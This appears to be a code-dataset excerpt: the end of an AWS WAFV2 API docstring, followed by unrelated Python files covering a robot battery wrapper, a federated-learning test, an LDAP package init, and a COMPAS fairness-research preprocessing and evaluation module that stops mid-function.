action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit.\nYou can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements:\n\nAn IP match statement with an IP set that specified the address 192.0.2.44.\nA string match statement that searches in the User-Agent header for the string BadBot.\n\nIn this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule.\nYou cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nLimit (integer) -- [REQUIRED]The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement.\n\nAggregateKeyType (string) -- [REQUIRED]Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses.\n\nScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement.\n\n\n\nAndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with AND logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nOrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with OR logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nNotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement .\n\nStatement (dict) --The statement to negate. You can use any statement that can be nested.\n\n\n\nManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups .\nYou can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nVendorName (string) -- [REQUIRED]The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n\nName (string) -- [REQUIRED]The name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n\nExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\n\n\nAction (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting.\nThis is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nYou must specify either this Action setting or the rule OverrideAction setting, but not both:\n\nIf the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting.\nIf the rule statement references a rule group, use the override action setting and not this action setting.\n\n\nBlock (dict) --Instructs AWS WAF to block the web request.\n\nAllow (dict) --Instructs AWS WAF to allow the web request.\n\nCount (dict) --Instructs AWS WAF to count the web request and allow it.\n\n\n\nOverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nSet the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings.\nIn a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both:\n\nIf the rule statement references a rule group, use this override action setting and not the action setting.\nIf the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting.\n\n\nCount (dict) --Override the rule action setting to count.\n\nNone (dict) --Don\'t override the rule action setting.\n\n\n\nVisibilityConfig (dict) -- [REQUIRED]Defines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n\n\n\n\n :type VisibilityConfig: dict :param VisibilityConfig: [REQUIRED]\nDefines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax { 'NextLockToken': 'string' } Response Structure (dict) -- NextLockToken (string) -- A token used for optimistic locking. AWS WAF returns this token to your update requests. You use NextLockToken in the same manner as you use LockToken . Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextLockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass
69.15393
41,777
0.679977
85,502
631,652
5.011134
0.016222
0.015572
0.002661
0.007478
0.976103
0.973384
0.97179
0.969435
0.967689
0.964681
0
0.008494
0.244755
631,652
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69.161502
0.889651
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0.5
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false
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1
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0
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0
10
5a28343ec98f2153ec88919700447a453163efef
184
py
Python
scripts/pepper_interface/body/battery.py
MPI-IS/reactive_pepper
079f9b0627bfd6c9e3f2a4466c95ad662002a600
[ "BSD-3-Clause" ]
null
null
null
scripts/pepper_interface/body/battery.py
MPI-IS/reactive_pepper
079f9b0627bfd6c9e3f2a4466c95ad662002a600
[ "BSD-3-Clause" ]
null
null
null
scripts/pepper_interface/body/battery.py
MPI-IS/reactive_pepper
079f9b0627bfd6c9e3f2a4466c95ad662002a600
[ "BSD-3-Clause" ]
null
null
null
class Battery: def __init__(self,battery_proxy): self._battery_proxy = battery_proxy def get(self): return self._battery_proxy.getBatteryCharge()
23
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7
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0.4
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7
5a34aaae151398e1cdfdfa2eeb4a19eee3e90013
4,797
py
Python
test/data_distribution/test_data_distribution_iid.py
joarreg/Sherpa.ai-Federated-Learning-Framework
9da392bf71c9acf13761dde0f119622c62780c87
[ "Apache-2.0" ]
2
2021-11-14T12:04:39.000Z
2022-01-03T16:03:36.000Z
test/data_distribution/test_data_distribution_iid.py
joarreg/Sherpa.ai-Federated-Learning-Framework
9da392bf71c9acf13761dde0f119622c62780c87
[ "Apache-2.0" ]
null
null
null
test/data_distribution/test_data_distribution_iid.py
joarreg/Sherpa.ai-Federated-Learning-Framework
9da392bf71c9acf13761dde0f119622c62780c87
[ "Apache-2.0" ]
1
2022-01-19T16:29:46.000Z
2022-01-19T16:29:46.000Z
import numpy as np import tensorflow as tf from shfl.data_base.data_base import DataBase from shfl.data_distribution.data_distribution_iid import IidDataDistribution class TestDataBase(DataBase): def __init__(self): super(TestDataBase, self).__init__() def load_data(self): self._train_data = np.random.rand(200).reshape([40, 5]) self._test_data = np.random.rand(200).reshape([40, 5]) self._train_labels = tf.keras.utils.to_categorical(np.random.randint(0, 10, 40)) self._test_labels = tf.keras.utils.to_categorical(np.random.randint(0, 10, 40)) def test_make_data_federated(): data = TestDataBase() data.load_data() data_distribution = IidDataDistribution(data) train_data, train_label = data_distribution._database.train num_nodes = 3 percent = 60 # weights = np.full(num_nodes, 1/num_nodes) weights = [0.5, 0.25, 0.25] federated_data, federated_label = data_distribution.make_data_federated(train_data, train_label, num_nodes, percent, weights) data_distribution.get_federated_data(3) all_data = np.concatenate(federated_data) all_label = np.concatenate(federated_label) idx = [] for data in all_data: idx.append(np.where((data == train_data).all(axis=1))[0][0]) for i, weight in enumerate(weights): assert federated_data[i].shape[0] == int(weight * int(percent * train_data.shape[0] / 100)) assert all_data.shape[0] == int(percent * train_data.shape[0] / 100) assert num_nodes == federated_data.shape[0] == federated_label.shape[0] assert (np.sort(all_data.ravel()) == np.sort(train_data[idx,].ravel())).all() assert (np.sort(all_label, 0) == np.sort(train_label[idx], 0)).all() #test make federated data with replacement federated_data, federated_label = data_distribution.make_data_federated(train_data, train_label, num_nodes, percent, weights, sampling="with_replacement") all_data = np.concatenate(federated_data) all_label = np.concatenate(federated_label) idx = [] for data in all_data: idx.append(np.where((data == train_data).all(axis=1))[0][0]) for i, weight in enumerate(weights): assert federated_data[i].shape[0] == int(weight * int(percent * train_data.shape[0] / 100)) assert all_data.shape[0] == int(percent * train_data.shape[0] / 100) assert num_nodes == federated_data.shape[0] == federated_label.shape[0] assert (np.sort(all_data.ravel()) == np.sort(train_data[idx,].ravel())).all() assert (np.sort(all_label, 0) == np.sort(train_label[idx], 0)).all() def test_make_data_federated_wrong_weights(): data = TestDataBase() data.load_data() data_distribution = IidDataDistribution(data) train_data, train_label = data_distribution._database.train num_nodes = 3 percent = 60 # weights = np.full(num_nodes, 1/num_nodes) weights = [0.5, 0.5, 0.5] federated_data, federated_label = data_distribution.make_data_federated(train_data, train_label, num_nodes, percent, weights) weights = np.array([float(i) / sum(weights) for i in weights]) data_distribution.get_federated_data(3) all_data = np.concatenate(federated_data) all_label = np.concatenate(federated_label) idx = [] for data in all_data: idx.append(np.where((data == train_data).all(axis=1))[0][0]) for i, weight in enumerate(weights): assert federated_data[i].shape[0] == int(weight * int(percent * train_data.shape[0] / 100)) assert all_data.shape[0] == int(percent * train_data.shape[0] / 100) assert num_nodes == federated_data.shape[0] == federated_label.shape[0] assert (np.sort(all_data.ravel()) == np.sort(train_data[idx,].ravel())).all() assert (np.sort(all_label, 0) == np.sort(train_label[idx], 0)).all()
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7
5a814e6e3a3903a3c1eaaf3086331127293a606f
118
py
Python
ezldap/__init__.py
mschaffenroth/ezldap
c2b3fe453d7ad60e4ff3e2245a8f4914a91542c4
[ "BSD-3-Clause" ]
7
2018-05-10T01:31:46.000Z
2021-03-30T10:13:41.000Z
ezldap/__init__.py
mschaffenroth/ezldap
c2b3fe453d7ad60e4ff3e2245a8f4914a91542c4
[ "BSD-3-Clause" ]
1
2019-04-24T15:59:18.000Z
2019-04-24T15:59:18.000Z
ezldap/__init__.py
mschaffenroth/ezldap
c2b3fe453d7ad60e4ff3e2245a8f4914a91542c4
[ "BSD-3-Clause" ]
2
2020-11-15T12:18:08.000Z
2021-03-30T10:13:44.000Z
from .api import * from .password import * from .config import * from .ldif import * from .version import __version__
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7
ce681fca8c026eb969132e02436b63d973b5bce1
28,158
py
Python
models/compas_model.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
models/compas_model.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
models/compas_model.py
GU-DataLab/fairness-and-missing-values
36a900aa235d1d53bd57e11c89e3f73f9a585aca
[ "MIT" ]
null
null
null
import sys sys.path.append("../AIF360/") import numpy as np from tot_metrics import TPR, TNR from aif360.metrics import BinaryLabelDatasetMetric from aif360.algorithms.preprocessing.optim_preproc import OptimPreproc from aif360.algorithms.preprocessing.optim_preproc_helpers.opt_tools\ import OptTools from sklearn.linear_model import LogisticRegression from sklearn.preprocessing import StandardScaler from sklearn.metrics import accuracy_score from aif360.datasets import StandardDataset import warnings import pandas as pd warnings.simplefilter("ignore") from sklearn.utils import resample from sklearn.model_selection import train_test_split def get_distortion_compas(vold, vnew): """Distortion function for the compas dataset. We set the distortion metric here. See section 4.3 in supplementary material of http://papers.nips.cc/paper/6988-optimized-pre-processing-for-discrimination-prevention for an example Note: Users can use this as templates to create other distortion functions. Args: vold (dict) : {attr:value} with old values vnew (dict) : dictionary of the form {attr:value} with new values Returns: d (value) : distortion value """ # Distortion cost distort = {} distort['two_year_recid'] = pd.DataFrame( {'No recid.': [0., 2.], 'Did recid.': [2., 0.]}, index=['No recid.', 'Did recid.']) distort['age_cat'] = pd.DataFrame( {'Less than 25': [0., 1., 2.], '25 to 45': [1., 0., 1.], 'Greater than 45': [2., 1., 0.]}, index=['Less than 25', '25 to 45', 'Greater than 45']) distort['c_charge_degree'] = pd.DataFrame( {'M': [0., 2.], 'F': [1., 0.]}, index=['M', 'F']) distort['priors_count'] = pd.DataFrame( {'0': [0., 1., 2., 100.], '1 to 3': [1., 0., 1., 100.], 'More than 3': [2., 1., 0., 100.], 'missing': [0., 0., 0., 1.]}, index=['0', '1 to 3', 'More than 3', 'missing']) distort['score_text'] = pd.DataFrame( {'Low': [0., 2.], 'MediumHigh': [2., 0.]}, index=['Low', 'MediumHigh']) distort['sex'] = pd.DataFrame( {0.0: [0., 2.], 1.0: [2., 0.]}, index=[0.0, 1.0]) distort['race'] = pd.DataFrame( {0.0: [0., 2.], 1.0: [2., 0.]}, index=[0.0, 1.0]) total_cost = 0.0 for k in vold: if k in vnew: total_cost += distort[k].loc[vnew[k], vold[k]] return total_cost default_mappings = { 'label_maps': [{1.0: 'Did recid.', 0.0: 'No recid.'}], 'protected_attribute_maps': [{0.0: 'Male', 1.0: 'Female'}, {1.0: 'Caucasian', 0.0: 'Not Caucasian'}] } def default_preprocessing(df): """Perform the same preprocessing as the original analysis: https://github.com/propublica/compas-analysis/blob/master/Compas%20Analysis.ipynb """ return df[(df.days_b_screening_arrest <= 30) & (df.days_b_screening_arrest >= -30) & (df.is_recid != -1) & (df.c_charge_degree != 'O') & (df.score_text != 'N/A')] class CompasDataset(StandardDataset): """ProPublica COMPAS Dataset. See :file:`aif360/data/raw/compas/README.md`. """ def __init__( self, label_name='two_year_recid', favorable_classes=[0], protected_attribute_names=[ 'sex', 'race'], privileged_classes=[ ['Female'], ['Caucasian']], instance_weights_name=None, categorical_features=[ 'age_cat', 'c_charge_degree', 'c_charge_desc'], features_to_keep=[ 'sex', 'age', 'age_cat', 'race', 'juv_fel_count', 'juv_misd_count', 'juv_other_count', 'priors_count', 'c_charge_degree', 'c_charge_desc', 'two_year_recid', 'length_of_stay'], features_to_drop=[], na_values=[], custom_preprocessing=default_preprocessing, metadata=default_mappings): def quantizePrior1(x): if x <= 0: return 0 elif 1 <= x <= 3: return 1 else: return 2 def quantizeLOS(x): if x <= 7: return 0 if 8 < x <= 93: return 1 else: return 2 def group_race(x): if x == "Caucasian": return 1.0 else: return 0.0 filepath = 'data/compas/compas-scores-two-years.csv' df = pd.read_csv(filepath, index_col='id', na_values=[]) df['age_cat'] = df['age_cat'].replace('Greater than 45', 2) df['age_cat'] = df['age_cat'].replace('25 - 45', 1) df['age_cat'] = df['age_cat'].replace('Less than 25', 0) df['score_text'] = df['score_text'].replace('High', 1) df['score_text'] = df['score_text'].replace('Medium', 1) df['score_text'] = df['score_text'].replace('Low', 0) df['priors_count'] = df['priors_count'].apply( lambda x: quantizePrior1(x)) df['length_of_stay'] = (pd.to_datetime(df['c_jail_out']) - pd.to_datetime(df['c_jail_in'])).apply( lambda x: x.days) df['length_of_stay'] = df['length_of_stay'].apply( lambda x: quantizeLOS(x)) df = df.loc[~df['race'].isin( ['Native American', 'Hispanic', 'Asian', 'Other']), :] df['c_charge_degree'] = df['c_charge_degree'].replace({'F': 0, 'M': 1}) df['c_charge_degree'] = df['c_charge_degree'].replace({0: 'F', 1: 'M'}) super( CompasDataset, self).__init__( df=df, label_name=label_name, favorable_classes=favorable_classes, protected_attribute_names=protected_attribute_names, privileged_classes=privileged_classes, instance_weights_name=instance_weights_name, categorical_features=categorical_features, features_to_keep=features_to_keep, features_to_drop=features_to_drop, na_values=na_values, custom_preprocessing=custom_preprocessing, metadata=metadata) def reweight_df(dataset_orig_train): df_weight = dataset_orig_train.convert_to_dataframe()[0] df_weight['weight'] = 1 df_weight['is_missing'] = 0 df_weight['tmp'] = '' tmp_result = [] for i, j in zip(df_weight['race'], df_weight['two_year_recid']): tmp_result.append(str(i) + str(j)) df_weight['tmp'] = tmp_result df_weight.loc[df_weight['priors_count=missing'] == 1, 'is_missing'] = 1 for i in df_weight['tmp'].unique(): df_weight.loc[(df_weight['tmp'] == i) & (df_weight['is_missing'] == 0), 'weight'] = len(df_weight.loc[(df_weight['tmp'] == i), :].index) / len(df_weight.loc[(df_weight['tmp'] == i) & (df_weight['is_missing'] == 0), :].index) df_weight.loc[(df_weight['tmp'] == i) & (df_weight['is_missing'] == 1), 'weight'] = len(df_weight.loc[(df_weight['tmp'] == i) & (df_weight['is_missing'] == 0), :].index) / len(df_weight.loc[(df_weight['tmp'] == i), :].index) return np.array(df_weight['weight']) def get_evaluation(dataset_orig_vt,y_pred,privileged_groups,unprivileged_groups,unpriv_val,priv_val,pos_label): print('Accuracy') print(accuracy_score(dataset_orig_vt.labels, y_pred)) dataset_orig_vt_copy1 = dataset_orig_vt.copy() dataset_orig_vt_copy1.labels = y_pred metric_transf_train1 = BinaryLabelDatasetMetric( dataset_orig_vt_copy1, unprivileged_groups=unprivileged_groups, privileged_groups=privileged_groups) print('p-rule') print(min(metric_transf_train1.disparate_impact(), 1 / metric_transf_train1.disparate_impact())) print('FPR for unpriv group') orig_sens_att = dataset_orig_vt.protected_attributes.ravel() print(1 - TNR(dataset_orig_vt.labels.ravel() [orig_sens_att == unpriv_val], y_pred[orig_sens_att == unpriv_val], pos_label)) print("FNR for unpriv group") print(1 - TPR(dataset_orig_vt.labels.ravel() [orig_sens_att == unpriv_val], y_pred[orig_sens_att == unpriv_val], pos_label)) print('FPR for priv group') orig_sens_att = dataset_orig_vt.protected_attributes.ravel() print(1 - TNR(dataset_orig_vt.labels.ravel() [orig_sens_att == priv_val], y_pred[orig_sens_att == priv_val], pos_label)) print("FNR for priv group") print(1 - TPR(dataset_orig_vt.labels.ravel() [orig_sens_att == priv_val], y_pred[orig_sens_att == priv_val], pos_label)) def get_distortion_compas_sel(vold, vnew): """Distortion function for the compas dataset. We set the distortion metric here. See section 4.3 in supplementary material of http://papers.nips.cc/paper/6988-optimized-pre-processing-for-discrimination-prevention for an example Note: Users can use this as templates to create other distortion functions. Args: vold (dict) : {attr:value} with old values vnew (dict) : dictionary of the form {attr:value} with new values Returns: d (value) : distortion value """ # Distortion cost distort = {} distort['two_year_recid'] = pd.DataFrame( {'No recid.': [0., 2.], 'Did recid.': [2., 0.]}, index=['No recid.', 'Did recid.']) distort['age_cat'] = pd.DataFrame( {'Less than 25': [0., 1., 2.], '25 to 45': [1., 0., 1.], 'Greater than 45': [2., 1., 0.]}, index=['Less than 25', '25 to 45', 'Greater than 45']) distort['c_charge_degree'] = pd.DataFrame( {'M': [0., 2.], 'F': [1., 0.]}, index=['M', 'F']) distort['priors_count'] = pd.DataFrame( {'0': [0., 1., 2.], '1 to 3': [1., 0., 1.], 'More than 3': [2., 1., 0.]}, index=['0', '1 to 3', 'More than 3']) distort['score_text'] = pd.DataFrame( {'Low': [0., 2.], 'MediumHigh': [2., 0.]}, index=['Low', 'MediumHigh']) distort['sex'] = pd.DataFrame( {0.0: [0., 2.], 1.0: [2., 0.]}, index=[0.0, 1.0]) distort['race'] = pd.DataFrame( {0.0: [0., 2.], 1.0: [2., 0.]}, index=[0.0, 1.0]) total_cost = 0.0 for k in vold: if k in vnew: total_cost += distort[k].loc[vnew[k], vold[k]] return total_cost class CompasDataset_test(StandardDataset): def __init__( self, label_name='two_year_recid', favorable_classes=[0], protected_attribute_names=[ 'sex', 'race'], privileged_classes=[ ['Female'], ['Caucasian']], instance_weights_name=None, categorical_features=[ 'age_cat', 'c_charge_degree', 'c_charge_desc'], features_to_keep=[ 'sex', 'age', 'age_cat', 'race', 'juv_fel_count', 'juv_misd_count', 'juv_other_count', 'priors_count', 'c_charge_degree', 'c_charge_desc', 'two_year_recid', 'length_of_stay'], features_to_drop=[], na_values=[], custom_preprocessing=default_preprocessing, metadata=default_mappings): np.random.seed(1) def quantizePrior1(x): if x <= 0: return 0 elif 1 <= x <= 3: return 1 else: return 2 def quantizeLOS(x): if x <= 7: return 0 if 8 < x <= 93: return 1 else: return 2 def group_race(x): if x == "Caucasian": return 1.0 else: return 0.0 filepath = 'data/compas/compas-test.csv' df = pd.read_csv(filepath, index_col='id', na_values=[]) df['age_cat'] = df['age_cat'].replace('Greater than 45', 2) df['age_cat'] = df['age_cat'].replace('25 - 45', 1) df['age_cat'] = df['age_cat'].replace('Less than 25', 0) df['score_text'] = df['score_text'].replace('High', 1) df['score_text'] = df['score_text'].replace('Medium', 1) df['score_text'] = df['score_text'].replace('Low', 0) df['priors_count'] = df['priors_count'].apply( lambda x: quantizePrior1(x)) df['length_of_stay'] = (pd.to_datetime(df['c_jail_out']) - pd.to_datetime(df['c_jail_in'])).apply( lambda x: x.days) df['length_of_stay'] = df['length_of_stay'].apply( lambda x: quantizeLOS(x)) df = df.loc[~df['race'].isin( ['Native American', 'Hispanic', 'Asian', 'Other']), :] df['c_charge_degree'] = df['c_charge_degree'].replace({'F': 0, 'M': 1}) # _,df = train_test_split(df,test_size = 4000,random_state = 1) df['c_charge_degree'] = df['c_charge_degree'].replace({0: 'F', 1: 'M'}) super( CompasDataset_test, self).__init__( df=df, label_name=label_name, favorable_classes=favorable_classes, protected_attribute_names=protected_attribute_names, privileged_classes=privileged_classes, instance_weights_name=instance_weights_name, categorical_features=categorical_features, features_to_keep=features_to_keep, features_to_drop=features_to_drop, na_values=na_values, custom_preprocessing=custom_preprocessing, metadata=metadata) def load_preproc_data_compas_test(protected_attributes=None): def custom_preprocessing(df): df = df[['age', 'c_charge_degree', 'race', 'age_cat', 'score_text', 'sex', 'priors_count', 'days_b_screening_arrest', 'decile_score', 'is_recid', 'two_year_recid', 'length_of_stay']] # Indices of data samples to keep ix = df['days_b_screening_arrest'] <= 30 ix = (df['days_b_screening_arrest'] >= -30) & ix ix = (df['is_recid'] != -1) & ix ix = (df['c_charge_degree'] != "O") & ix ix = (df['score_text'] != 'N/A') & ix df = df.loc[ix, :] # Restrict races to African-American and Caucasian dfcut = df.loc[~df['race'].isin( ['Native American', 'Hispanic', 'Asian', 'Other']), :] # Restrict the features to use dfcutQ = dfcut[['sex', 'race', 'age_cat', 'c_charge_degree', 'score_text', 'priors_count', 'is_recid', 'two_year_recid', 'length_of_stay']].copy() # Quantize priors count between 0, 1-3, and >3 def quantizePrior(x): if x == 0: return '0' elif x == 1: return '1 to 3' elif x == 2: return 'More than 3' else: return 'missing' # Quantize length of stay def quantizeLOS(x): if x == 0: return '<week' if x == 1: return '<3months' else: return '>3 months' # Quantize length of stay def adjustAge(x): if x == 1: return '25 to 45' elif x == 2: return 'Greater than 45' elif x == 0: return 'Less than 25' # Quantize score_text to MediumHigh def quantizeScore(x): if x == 1: return 'MediumHigh' else: return 'Low' def group_race(x): if x == "Caucasian": return 1.0 else: return 0.0 dfcutQ['priors_count'] = dfcutQ['priors_count'].apply( lambda x: quantizePrior(x)) dfcutQ['length_of_stay'] = dfcutQ['length_of_stay'].apply( lambda x: quantizeLOS(x)) dfcutQ['score_text'] = dfcutQ['score_text'].apply( lambda x: quantizeScore(x)) dfcutQ['age_cat'] = dfcutQ['age_cat'].apply(lambda x: adjustAge(x)) # Recode sex and race dfcutQ['sex'] = dfcutQ['sex'].replace({'Female': 1.0, 'Male': 0.0}) dfcutQ['race'] = dfcutQ['race'].apply(lambda x: group_race(x)) features = ['two_year_recid', 'race', 'age_cat', 'priors_count', 'c_charge_degree', 'score_text'] # Pass vallue to df df = dfcutQ[features] return df XD_features = [ 'age_cat', 'c_charge_degree', 'priors_count', 'race', 'score_text'] D_features = [ 'race'] if protected_attributes is None else protected_attributes Y_features = ['two_year_recid'] X_features = list(set(XD_features) - set(D_features)) categorical_features = [ 'age_cat', 'priors_count', 'c_charge_degree', 'score_text'] # privileged classes all_privileged_classes = {"sex": [1.0], "race": [1.0]} # protected attribute maps all_protected_attribute_maps = { "sex": { 0.0: 'Male', 1.0: 'Female'}, "race": { 1.0: 'Caucasian', 0.0: 'Not Caucasian'}} return CompasDataset_test( label_name=Y_features[0], favorable_classes=[0], protected_attribute_names=D_features, privileged_classes=[all_privileged_classes[x] for x in D_features], instance_weights_name=None, categorical_features=categorical_features, features_to_keep=X_features + Y_features + D_features, na_values=[], metadata={'label_maps': [{1.0: 'Did recid.', 0.0: 'No recid.'}], 'protected_attribute_maps': [all_protected_attribute_maps[x] for x in D_features]}, custom_preprocessing=custom_preprocessing) class CompasDataset_train(StandardDataset): def __init__( self, label_name='two_year_recid', favorable_classes=[0], protected_attribute_names=[ 'sex', 'race'], privileged_classes=[ ['Female'], ['Caucasian']], instance_weights_name=None, categorical_features=[ 'age_cat', 'c_charge_degree', 'c_charge_desc'], features_to_keep=[ 'sex', 'age', 'age_cat', 'race', 'juv_fel_count', 'juv_misd_count', 'juv_other_count', 'priors_count', 'c_charge_degree', 'c_charge_desc', 'two_year_recid', 'length_of_stay'], features_to_drop=[], na_values=[], custom_preprocessing=default_preprocessing, metadata=default_mappings): np.random.seed(1) def quantizePrior1(x): if x <= 0: return 0 elif 1 <= x <= 3: return 1 else: return 2 def quantizeLOS(x): if x <= 7: return 0 if 8 < x <= 93: return 1 else: return 2 def group_race(x): if x == "Caucasian": return 1.0 else: return 0.0 filepath = 'data/compas/compas-train.csv' df = pd.read_csv(filepath, index_col='id', na_values=[]) df['age_cat'] = df['age_cat'].replace('Greater than 45', 2) df['age_cat'] = df['age_cat'].replace('25 - 45', 1) df['age_cat'] = df['age_cat'].replace('Less than 25', 0) df['score_text'] = df['score_text'].replace('High', 1) df['score_text'] = df['score_text'].replace('Medium', 1) df['score_text'] = df['score_text'].replace('Low', 0) df['priors_count'] = df['priors_count'].apply( lambda x: quantizePrior1(x)) df['length_of_stay'] = (pd.to_datetime(df['c_jail_out']) - pd.to_datetime(df['c_jail_in'])).apply( lambda x: x.days) df['length_of_stay'] = df['length_of_stay'].apply( lambda x: quantizeLOS(x)) df = df.loc[~df['race'].isin( ['Native American', 'Hispanic', 'Asian', 'Other']), :] df['c_charge_degree'] = df['c_charge_degree'].replace({'F': 0, 'M': 1}) ix = df['days_b_screening_arrest'] <= 30 ix = (df['days_b_screening_arrest'] >= -30) & ix ix = (df['is_recid'] != -1) & ix ix = (df['c_charge_degree'] != "O") & ix ix = (df['score_text'] != 'N/A') & ix df = df.loc[ix, :] df['c_charge_degree'] = df['c_charge_degree'].replace({0: 'F', 1: 'M'}) super( CompasDataset_train, self).__init__( df=df, label_name=label_name, favorable_classes=favorable_classes, protected_attribute_names=protected_attribute_names, privileged_classes=privileged_classes, instance_weights_name=instance_weights_name, categorical_features=categorical_features, features_to_keep=features_to_keep, features_to_drop=features_to_drop, na_values=na_values, custom_preprocessing=custom_preprocessing, metadata=metadata) def load_preproc_data_compas_test_comb(protected_attributes=None): def custom_preprocessing(df): """The custom pre-processing function is adapted from https://github.com/fair-preprocessing/nips2017/blob/master/compas/code/Generate_Compas_Data.ipynb """ df = df[['age', 'c_charge_degree', 'race', 'age_cat', 'score_text', 'sex', 'priors_count', 'days_b_screening_arrest', 'decile_score', 'is_recid', 'two_year_recid', 'length_of_stay']] # Indices of data samples to keep ix = df['days_b_screening_arrest'] <= 30 ix = (df['days_b_screening_arrest'] >= -30) & ix ix = (df['is_recid'] != -1) & ix ix = (df['c_charge_degree'] != "O") & ix ix = (df['score_text'] != 'N/A') & ix df = df.loc[ix, :] # Restrict races to African-American and Caucasian dfcut = 